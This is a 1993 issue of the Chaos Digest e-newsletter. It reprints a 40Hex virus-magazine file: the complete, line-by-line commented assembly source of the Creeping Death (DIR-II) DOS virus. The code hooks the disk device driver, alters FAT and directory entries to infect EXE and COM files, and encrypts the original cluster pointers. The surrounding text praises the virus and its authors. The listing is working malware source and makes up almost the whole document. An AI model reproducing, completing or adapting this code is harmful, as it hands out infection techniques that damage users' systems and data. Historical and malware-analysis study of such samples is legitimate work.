Chaos Digest Mercredi 9 Juin 1993 Volume 1 : Numero 51 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.51 (9 Juin 1993) File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352) 466893. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint) 40Hex Number 6 Volume 2 Issue 2 File 00A Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2). This is one of the most impressive viruses out there, and VirusSoft looks to be a promising group in the future. Unfortunately, the source code we obtained had almost no comments. Dark Angel commented it as best as he possibly could, but I think it is safe to say that there may be a few discrepancies. Nonetheless, it was an excellent job, kudos to DA. Although I am writing this header, I had nothing to do with the commenting, so Dark Angel gets all the credit. -)GHeap ------------------------------------------------------------------------------ - ; Dark Angel's comments: I spent my entire waking hours looking at this virus. ; I love it. It is my life. I worship the drive it ; infects. Take a look at it. Let not my troubles be ; in vain. Why did I do this? I sacrifice my life for ; the benefit of 40Hex. If you don't read this, I'm ; gonna go join [NuKE]. ; Creeping Death V 1.0 ; ; (C) Copyright 1991 by VirusSoft Corp. i13org = 5f8h i21org = 5fch dir_2 segment byte public assume cs:dir_2, ds:dir_2 org 100h start: mov sp,600h ;Set up the stack pointer inc word ptr counter ;Generation counter xor cx,cx mov ds,cx ;DS points to interrupt table lds ax, ds:[0c1h] ;Find interrupt 30h add ax,21h ;Change it to Int 21h push ds ;Save it on stack for use by push ax ;subroutine "jump" mov ah,30h ;Get DOS version call jump cmp al,4 ;DOS 4.X+ : SI = 0 sbb si,si ;DOS 2/3 : SI = -1 mov byte ptr [drive+2],byte ptr -1 ;Initialise last drive to ;"never accessed" mov bx,60h ;Adjust memory in ES to mov ah,4ah ;BX paragraphs. call jump mov ah,52h ;Get DOS List of Lists call jump ;to ES:BX push es:[bx-2] ;Save Segment of first MCB lds bx,es:[bx] ;DS:BX -> 1st DPB ; (Drive parameter block) search: mov ax,[bx+si+15h] ;Get segment of device driver cmp ax,70h ;Is it CONFIG? (I think) jne next ;If not, try again xchg ax,cx ;Move driver segment to CX mov [bx+si+18h],byte ptr -1 ;Flag block must be rebuilt mov di,[bx+si+13h] ;Save offset of device driver ;Original device driver ;address in CX:DI mov [bx+si+13h],offset header ;Replace with our own mov [bx+si+15h],cs ; (header) next: lds bx,[bx+si+19h] ;Get next device block cmp bx,-1 ;Is it the last one? jne search ;If not, search it jcxz install pop ds ;Restore segment of first mov ax,ds ;MCB add ax,ds:[3] ;Go to next MCB inc ax ;AX = segment next MCB mov dx,cs ;DX = MCB owning current dec dx ; program cmp ax,dx ;Are these the same? jne no_boot ;If not, we are not currently ;in the middle of a reboot add word ptr ds:[3],61h ;Increase length owned by ;MCB by 1552 bytes no_boot: mov ds,dx ;DS = MCB owning current ;program mov word ptr ds:[1],8 ;Set owner = DOS mov ds,cx ;DS = segment of original ; device driver les ax,[di+6] ;ES = offset int handler ;AX = offset strategy entry mov word ptr cs:str_block,ax ;Save entry point mov word ptr cs:int_block,es ;And int block for use in ;function _in cld ;Scan for the write mov si,1 ;function in the scan: dec si ;original device driver lodsw cmp ax,1effh jne scan mov ax,2cah ;Wicked un-yar place o' cmp [si+4],ax ;doom. je right cmp [si+5],ax jne scan right: lodsw push cs pop es mov di,offset modify+1 ;Save address of patch stosw ;area so it can be changed xchg ax,si ;later. mov di,offset i13org ;This is in the stack, but cli ;it is used by "i13pr" movsw movsw mov dx,0c000h ;Scan for hard disk ROM ;Start search @ segment C000h fdsk1: mov ds,dx ;Load up the segment xor si,si ;atart at offset 0000h lodsw ;Scan for the signature cmp ax,0aa55h ;Is it the signature? jne fdsk4 ;If not, change segment cbw ;clear AH lodsb ;load a byte to AL mov cl,9 sal ax,cl ;Shift left, 0 filled fdsk2: cmp [si],6c7h jne fdsk3 cmp word ptr [si+2],4ch jne fdsk3 push dx ;Save the segment push [si+4] ;and offset on stack jmp short death ;for use by i13pr install: int 20h file: db "c:",255,0 fdsk3: inc si ;Increment search offset cmp si,ax ;If we are not too high, jb fdsk2 ;try again fdsk4: inc dx ;Increment search segment cmp dh,0f0h ;If we are not in high jb fdsk1 ;memory, try again sub sp,4 ;effectively push dummy vars. death: push cs ;on stack for use by i13pr pop ds mov bx,ds:[2ch] ;Get environment from PSP mov es,bx mov ah,49h ;Release it (to save memory) call jump xor ax,ax test bx,bx ;Is BX = 0? jz boot ;If so, we are booting now mov di,1 ;and not running a file seek: dec di ;Search for end of scasw ;the environment block jne seek lea si,[di+2] ;SI points to filename jmp short exec ;(in DOS 3.X+) ;Execute that file boot: mov es,ds:[16h] ;get PSP of parent mov bx,es:[16h] ;get PSP of parent dec bx ;go to its MCB xor si,si exec: push bx mov bx,offset param ;Set up parameter block ;for EXEC function mov [bx+4],cs ;segment to command line mov [bx+8],cs ;segment to 1st FCB mov [bx+12],cs ;segment to 2nd FCB pop ds push cs pop es mov di,offset f_name push di ;Save filename offset mov cx,40 ;Copy the filename to rep movsw ;the buffer push cs pop ds mov ah,3dh ;Handle open file mov dx,offset file ;"c:",0 call jump pop dx ;DS:DX -> filename mov ax,4b00h ;Load and Execute call jump ;ES:BX = param block mov ah,4dh ;Get errorlevel call jump mov ah,4ch ;Terminate jump: pushf ;Simulate an interrupt 21h call dword ptr cs:[i21org] ret ;--------Installation complete i13pr: mov ah,3 ;Write AL sectors from ES:BX jmp dword ptr cs:[i13org] ;to track CH, sector CL, ;head DH, drive DL main: push ax ; driver push cx ; strategy block push dx push ds push si push di push es ;Move segment of parameter pop ds ;block to DS mov al,[bx+2] ;[bx+2] holds command code cmp al,4 ;Input (read) je input cmp al,8 ;Output (write) je output cmp al,9 ;Output (write) with verify je output call in_ ;Call original device cmp al,2 ;Request build BPB jne ppp ;If none of the above, exit lds si,[bx+12h] ;DS:SI point to BPB table mov di,offset bpb_buf ;Replace old pointer with mov es:[bx+12h],di ;a pointer to our own mov es:[bx+14h],cs ;BPB table push es ;Save segment of parameters push cs pop es mov cx,16 ;Copy the old BPB table to rep movsw ;our own pop es ;Restore parameter segment push cs pop ds mov al,[di+2-32] ;AL = sectors per allocation cmp al,2 ; unit. If less than adc al,0 ; 2, increment cbw ;Extend sign to AH (clear AH) cmp word ptr [di+8-32],0 ;Is total number sectors = 0? je m32 ;If so, big partition (>32MB) sub [di+8-32],ax ;Decrease space of disk by ;one allocation unit(cluster) jmp short ppp ;Exit m32: sub [di+15h-32],ax ;Handle large partitions sbb word ptr [di+17h-32],0 ppp: pop di pop si pop ds pop dx pop cx pop ax rts: retf ;We are outta here! output: mov cx,0ff09h call check ;is it a new disk? jz inf_sec ;If not, go away call in_ ;Call original device handler jmp short inf_dsk inf_sec: jmp _inf_sec read: jmp _read read_: add sp,16 ;Restore the stack jmp short ppp ;Leave device driver input: call check ;Is it a new disk? jz read ;If not, leave inf_dsk: mov byte ptr [bx+2],4 ;Set command code to READ cld lea si,[bx+0eh] ;Load from buffer address mov cx,8 ;Save device driver request save: lodsw ;on the stack push ax loop save mov word ptr [bx+14h],1 ;Starting sector number = 1 ;(Read 1st FAT) call driver ;Read one sector jnz read_ ;If error, exit mov byte ptr [bx+2],2 ;Otherwise build BPB call in_ ;Have original driver do the ;work lds si,[bx+12h] ;DS:SI points to BPB table mov ax,[si+6] ;Number root directory entries add ax,15 ;Round up mov cl,4 shr ax,cl ;Divide by 16 to find sectors ;of root directory mov di,[si+0bh] ;DI = sectors/FAT add di,di ;Double for 2 FATs stc ;Add one for boot record adc di,ax ;Add sector size of root dir push di ;to find starting sector of ;data (and read) cwd ;Clear DX mov ax,[si+8] ;AX = total sectors test ax,ax ;If it is zero, then we have jnz more ;an extended partition(>32MB) mov ax,[si+15h] ;Load DX:AX with total number mov dx,[si+17h] ;of sectors more: xor cx,cx sub ax,di ;Calculate FAT entry for last ;sector of disk sbb dx,cx mov cl,[si+2] ;CL = sectors/cluster div cx ;AX = cluster # cmp cl,2 ;If there is more than 1 sbb ax,-1 ;cluster/sector, add one push ax ;Save cluster number call convert ;AX = sector number to read ;DX = offset in sector AX ; of FAT entry ;DI = mask for EOF marker mov byte ptr es:[bx+2],4 ;INPUT (read) mov es:[bx+14h],ax ;Starting sector = AX call driver ;One sector only again: lds si,es:[bx+0eh] ;DS:SI = buffer address add si,dx ;Go to FAT entry sub dh,cl ;Calculate a new encryption adc dx,ax ;value mov word ptr cs:gad+1,dx ;Change the encryption value cmp cl,1 ;If there is 0 cluster/sector je small_ ;then jump to "small_" mov ax,[si] ;Load AX with offset of FAT ;entry and ax,di ;Mask it with value from ;"convert" then test to see ;if the sector is fine cmp ax,0fff7h ;16 bit reserved/bad je bad cmp ax,0ff7h ;12 bit reserved/bad je bad cmp ax,0ff70h ;12 bit reserved/bad jne ok bad: pop ax ;Tried to replicate on a bad dec ax ;cluster. Try again on a push ax ;lower one. call convert ;Find where it is in the FAT jmp short again ;and try once more small_: not di ;Reverse mask bits and [si],di ;Clear other bits pop ax ;AX = cluster number push ax inc ax ;Need to do 2 consecutive push ax ;bytes mov dx,0fh test di,dx jz here inc dx ;Multiply by 16 mul dx here: or [si],ax ;Set cluster to next pop ax ;Restore cluster of write call convert ;Calculate buffer offset mov si,es:[bx+0eh] ;Go to FAT entry (in buffer) add si,dx mov ax,[si] and ax,di ok: mov dx,di ;DI = mask from "convert" dec dx and dx,di ;Yerg! not di and [si],di or [si],dx ;Set [si] to DI cmp ax,dx ;Did we change the FAT? pop ax ;i.e. Are we already on this pop di ;disk? mov word ptr cs:pointer+1,ax ;Our own starting cluster je _read_ ;If we didn't infect, then ;leave the routine. Oh ;welp-o. mov dx,[si] push ds push si call write ;Update the FAT pop si pop ds jnz _read_ ;Quit if there's an error call driver cmp [si],dx jne _read_ dec ax dec ax mul cx ;Multiply by sectors/cluster ;to find the sector of the ;write add ax,di adc dx,0 push es pop ds mov word ptr [bx+12h],2 ;Byte/sector count mov [bx+14h],ax ;Starting sector # test dx,dx jz less mov word ptr [bx+14h],-1 ;Flag extended partition mov [bx+1ah],ax ;Handle the sector of the mov [bx+1ch],dx ;extended partition less: mov [bx+10h],cs ;Transfer address segment mov [bx+0eh],100h ;and the offset (duh) call write ;Zopy ourselves! ;(We want to travel) _read_: std lea di,[bx+1ch] ;Restore device driver header mov cx,8 ;from the stack load: pop ax stosw loop load _read: call in_ ;Call original device handler mov cx,9 _inf_sec: mov di,es:[bx+12h] ;Bytes/Sector lds si,es:[bx+0eh] ;DS:SI = pointer to buffer sal di,cl ;Multiply by 512 ;DI = byte count xor cl,cl add di,si ;Go to address in the buffer xor dl,dl ;Flag for an infection in ;function find push ds push si call find ;Infect the directory jcxz no_inf call write ;Write it back to the disk and es:[bx+4],byte ptr 07fh ;Clear error bit in status ;word no_inf: pop si pop ds inc dx ;Flag for a decryption in ;function find call find ;Return right information to ;calling program jmp ppp ;--------Subroutines find: mov ax,[si+8] ;Check filename extension cmp ax,"XE" ;in directory structure jne com cmp [si+10],al je found com: cmp ax,"OC" jne go_on cmp byte ptr [si+10],"M" jne go_on found: test [si+1eh],0ffc0h ; >4MB ;Check file size high word jnz go_on ;to see if it is too big test [si+1dh],03ff8h ; <2048B ;Check file size low word jz go_on ;to see if it is too small test [si+0bh],byte ptr 1ch ;Check attribute for subdir, jnz go_on ;volume label or system file test dl,dl ;If none of these, check DX jnz rest ;If not 0, decrypt pointer: mov ax,1234h ;mov ax, XX modified elsewhere cmp ax,[si+1ah] ;Check for same starting ;cluster number as us je go_on ;If it is, then try another xchg ax,[si+1ah] ;Otherwise make it point to ;us. gad: xor ax,1234h ;Encrypt their starting ;cluster mov [si+14h],ax ;And put it in area reserved ;by DOS for no purpose loop go_on ;Try another file rest: xor ax,ax ;Disinfect the file xchg ax,[si+14h] ;Get starting cluster xor ax,word ptr cs:gad+1 ;Decrypt the starting cluster mov [si+1ah],ax ;and put it back go_on: db 2eh,0d1h,6 ;rol cs:[gad+1], 1 dw offset gad+1 ;Change encryption and add si,32 ;go to next file cmp di,si ;If it is not past the end of jne find ;the buffer, then try again ret ;Otherwise quit check: mov ah,[bx+1] ;ah = unit code (block device ; only) drive: cmp ah,-1 ;cmp ah, XX can change. ;Compare with the last call ;-1 is just a dummy ;impossible value that will ;force the change to be true mov byte ptr cs:[drive+2],ah ;Save this call's drive jne changed ;If not the same as last call ;media has changed push [bx+0eh] ;If it is the same physical ;drive, see if floppy has ;been changed mov byte ptr [bx+2],1 ;Tell original driver to do a call in_ ;media check (block only) cmp byte ptr [bx+0eh],1 ;Returns 1 in [bx+0eh] if pop [bx+0eh] ;media has not been changed mov [bx+2],al ;Restore command code changed: ret ;CF,ZF set if media has not ;been changed, not set if ;has been changed or we don't ;know write: cmp byte ptr es:[bx+2],8 ;If we want OUTPUT, go to jae in_ ;original device handler ;and return to caller mov byte ptr es:[bx+2],4 ;Otherwise, request INPUT mov si,70h mov ds,si ;DS = our segment modify: mov si,1234h ;Address is changed elsewhere push [si] push [si+2] mov [si],offset i13pr mov [si+2],cs call in_ ;Call original device handler pop [si+2] pop [si] ret driver: mov word ptr es:[bx+12h],1 ;One sector in_: ;in_ first calls the strategy ;of the original device ;driver and then calls the ;interrupt handler db 09ah ;CALL FAR PTR str_block: dw ?,70h ;address db 09ah ;CALL FAR PTR int_block: dw ?,70h ;address test es:[bx+4],byte ptr 80h ;Was there an error? ret convert: cmp ax,0ff0h ;0FFF0h if 12 bit FAT jae fat_16 ;0FF0h = reserved cluster mov si,3 ;12 bit FAT xor word ptr cs:[si+gad-1],si ;Change the encryption value mul si ;Multiply by 3 and shr ax,1 ;divide by 2 mov di,0fffh ;Mark it EOF (low 12 bits) jnc cont ;if it is even, continue mov di,0fff0h ;otherwise, mark it EOF (high jmp short cont ;12 bits) and then continue fat_16: mov si,2 ;16 bit FAT mul si ;Double cluster # mov di,0ffffh ;Mark it as end of file cont: mov si,512 div si ;AX = sector number ;(relative to start of FAT) ;DX = offset in sector AX header: inc ax ;Increment AX to account for ret ;boot record counter: dw 0 dw 842h ;Attribute ; Block device ; DOS 3 OPEN/CLOSE removable ; media calls supported ; Generic IOCTL call supported ;Supports 32 bit sectors dw offset main ;Strategy routine dw offset rts ;Interrupt routine (rtf) db 7fh ;Number of subunits supported ;by this driver. Wow, lookit ;it -- it's so large and juicy ; Parameter block format: ; 0 WORD Segment of environment ; 2 DWORD pointer to command line ; 6 DWORD pointer to 1st default FCB ;10 DWORD pointer to 2nd default FCB param: dw 0,80h,?,5ch,?,6ch,? bpb_buf: db 32 dup(?) f_name: db 80 dup(?) ;--------The End. dir_2 ends end start MsDos ------------------------------ End of Chaos Digest #1.51 ************************************ Downloaded From P-80 International Information Systems 304-744-2253